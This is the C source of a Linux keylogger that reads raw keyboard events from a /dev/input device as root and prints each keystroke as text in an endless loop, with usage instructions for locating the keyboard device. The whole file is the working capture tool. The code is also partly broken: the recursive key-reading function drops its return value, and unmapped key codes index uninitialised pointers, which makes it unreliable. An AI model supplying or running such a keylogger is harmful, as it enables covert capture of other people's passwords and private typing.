#include <linux/input.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int get_key_press(int fd, struct input_event ev);
int input_has_errors(int argc, char *argv[]);
int user_is_root();
char * get_key_description(int key_code);
void generate_mappings(char ** mappings);
   

/*
 * returns 0 if user is not root
 * else returns 1
 */
int user_is_root() {
    if (geteuid() != 0) {
        puts("You should run this script as root");
        puts("ex: sudo ./keylogger /dev/input/deviceX");
        return 0;
    }
    return 1;
}


/*
 * If no input device specified returns 1
 * If no errors it returns 0
 */
int input_has_errors(int argc, char *argv[]) {
  if(argc < 2) {
      puts("No input device given.");
      puts("Usage: './keylogger device'");
      puts("Device should be /dev/input/device*");
      puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`");
      return 1;
  }
  return 0;
}


/* 
 * -Reads input event (key stroke)
 * -Returns the key when it's released
 *  This means that by long pressing a key it only gets logged once.
 * -If no key is pressed it calls itself recursively again
 */
int get_key_press(int fd, struct input_event ev) {
    read(fd, &ev, sizeof(struct input_event));

    // ev.value == 0  ->  button is released
    if (ev.type == 1 && ev.value == 0)
        return ev.code;

    // if no key pressed check again
    get_key_press(fd, ev);
}


int main(int argc, char *argv[]) { 
    // Convert key codes to string values
    // ex: mappings[code] = "value"
    char * mappings[1024];
    generate_mappings(mappings);


    // Check for errors
    if (input_has_errors(argc, argv)) {
        return -1;
    }
    if (!user_is_root()) {
        return -1;
    }

    // Start keyboard device as read only
    int fd;
    fd = open(argv[1], O_RDONLY);

    // Initialize input event 
    struct input_event ev;

    // Scan for key strokes and print them
    while (1){
        int key_code = get_key_press(fd, ev); // get key code
        printf("%s\n",mappings[key_code]); // print value of key code
    }

    return 0;
}


/*
 * Generates a value for each key stroke code
 */
void generate_mappings(char ** codes) {
    codes[1] = "esc";
    codes[59] = "f1";
    codes[60] = "f2";
    codes[61] = "f3";
    codes[62] = "f4";
    codes[63] = "f5";
    codes[64] = "f6";
    codes[65] = "f7";
    codes[66] = "f8";
    codes[67] = "f9";
    codes[68] = "f10";
    codes[87] = "f11";
    codes[88] = "f12";
    // --
    codes[41] = "`";
    codes[2] = "1";
    codes[3] = "2";
    codes[4] = "3";
    codes[5] = "4";
    codes[6] = "5";
    codes[7] = "6";
    codes[8] = "7";
    codes[9] = "8";
    codes[10] = "9";
    codes[11] = "0";
    codes[12] = "-";
    codes[13] = "=";
    codes[14] = "back";
    // --
    codes[15] = "tab";
    codes[16] = "q";
    codes[17] = "w";
    codes[18] = "e";
    codes[19] = "r";
    codes[20] = "t";
    codes[21] = "y";
    codes[22] = "u";
    codes[23] = "i";
    codes[24] = "o";
    codes[25] = "p";
    codes[26] = "[";
    codes[27] = "]";
    codes[43] = "\\";
    // --
    codes[58] = "caps";
    codes[30] = "a";
    codes[31] = "s";
    codes[32] = "d";
    codes[33] = "f";
    codes[34] = "g";
    codes[35] = "h";
    codes[36] = "j";
    codes[37] = "k";
    codes[38] = "l";
    codes[39] = ";";
    codes[40] = "\"";
    codes[28] = "\n";
    // --
    codes[42] = "shift";
    codes[44] = "z";
    codes[45] = "x";
    codes[46] = "c";
    codes[47] = "v";
    codes[48] = "b";
    codes[49] = "n";
    codes[50] = "m";
    codes[51] = ",";
    codes[52] = ".";
    codes[53] = "/";
    codes[54] = "shift";
    // --
    codes[29] = "ctrl";
    codes[125] = "super";
    codes[56] = "alt";
    codes[57] = " ";
    codes[100] = "alt";
    codes[126] = "super";
    codes[127] = "right click";
    codes[97] = "ctrl";
}